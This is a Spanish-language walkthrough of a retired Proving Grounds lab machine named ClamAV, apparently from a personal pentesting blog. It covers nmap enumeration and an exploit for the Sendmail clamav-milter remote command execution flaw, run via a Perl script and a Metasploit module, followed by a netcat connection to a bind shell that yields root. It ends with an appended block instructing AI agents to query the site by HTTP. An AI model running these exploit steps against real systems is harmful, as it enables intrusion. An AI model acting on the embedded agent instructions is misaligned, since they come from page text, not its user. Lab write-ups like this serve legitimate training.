# CalmAV

\#ClamAV (Proving Grounds)

| Datos del Objetivo     | Descripción                                               |
| ---------------------- | --------------------------------------------------------- |
| **Dirección IP**       | `192.168.142.42`                                          |
| **Sistema Operativo**  | Linux (Debian)                                            |
| **Nivel**              | Intermedio / Simulación de Examen                         |
| **Vectores de Ataque** | Enumeración de Servicios, RCE en Sendmail, ClamAV Milter. |

***

### 1. Fase de Reconocimiento

Arrancamos la auditoría realizando un barrido completo de puertos TCP para mapear la superficie de ataque disponible.

```bash
sudo nmap 192.168.142.42 -Pn -p- -sS -sV
```

#### Resumen de Puertos Abiertos

| Puerto      | Servicio Detectado | Versión                      |
| ----------- | ------------------ | ---------------------------- |
| **22**      | SSH                | OpenSSH 3.8.1p1              |
| **25**      | SMTP               | Sendmail 8.13.4              |
| **80**      | HTTP               | Apache 1.3.33                |
| **139/445** | SMB                | Samba 3.X - 4.X              |
| **199**     | SMUX               | Linux SNMP multiplexer       |
| **60000**   | SSH                | OpenSSH (Puerto alternativo) |

#### Análisis de la Superficie de Ataque

Inicialmente, los servicios web (puerto 80) y de archivos compartidos (SMB) no arrojaron vulnerabilidades explotables tras una inspección manual. Sin embargo, el **nombre de host de la máquina ("ClamAV")** nos dio la pista definitiva.

Este nombre sugiere que el servidor está ejecutando el antivirus ClamAV, el cual a menudo se integra con servidores de correo (como el **Sendmail** detectado en el puerto 25) mediante un componente llamado "milter" (mail filter).

Consultamos la base de datos de exploits buscando coincidencias para esta combinación:

```bash
searchsploit sendmail clamav
# Hallazgo: Sendmail with clamav-milter < 0.91.2 - Remote Command Execution
```

Confirmamos la existencia de una vulnerabilidad crítica de Ejecución Remota de Comandos (RCE) en versiones antiguas de `clamav-milter`.

***

### 2. Explotación y Acceso (Vía Manual)

El exploit seleccionado abusa de la falta de saneamiento en el filtro de correo para inyectar comandos. El script está diseñado para levantar una *bind shell* en el puerto **31337**.

**Procedimiento de ataque:**

1. **Lanzamiento del Payload:** Ejecutamos el script en Perl apuntando a la dirección IP de la víctima.

   ```bash
   perl clamav.pl 192.168.142.42
   ```

   *Detalle técnico: El script manipula las cabeceras SMTP para forzar al servicio a ejecutar un comando que abre el puerto de escucha.*
2. **Confirmación:** Verificamos que el puerto 31337 ahora se encuentre en estado `OPEN`.
3. **Obtención de Shell (Privilegios Root):** Nos conectamos al puerto recién abierto utilizando Netcat. Debido a que el servicio de correo se ejecuta con altos privilegios, la sesión resultante nos otorga control total del sistema inmediatamente.

   ```bash
   nc 192.168.142.42 31337
   ```

   ```bash
   id
   # uid=0(root) gid=0(root) groups=0(root)
   ```

> **Root Flag:** `********************************`

***

### 3. Vía Alternativa: Metasploit Framework

Si preferimos una explotación automatizada, Metasploit cuenta con un módulo específico para este fallo de seguridad.

```bash
msfconsole
use exploit/unix/smtp/clamav_milter_blackhole
set RHOSTS 192.168.142.42
run
```

Este método gestiona el envío del correo malicioso y establece la sesión sin necesidad de scripts externos.

***

### Conclusiones y Notas Finales

* **Enumeración Pasiva:** Prestar atención a metadatos como el *hostname* puede revelar software instalado que no aparece directamente en un escaneo de puertos (como el plugin ClamAV detrás de Sendmail).
* **Gestión de Parches:** La presencia de software "Legacy" (antiguo), como esta versión de Sendmail, suele garantizar una entrada fácil debido a CVEs conocidos y sin parchar.
* **Configuración de Servicios:** Ejecutar servicios expuestos a internet (como un servidor de correo) con privilegios de `root` es una práctica peligrosa que facilita el compromiso total del sistema en un solo paso.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/tjnull-list-retired/calmav.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
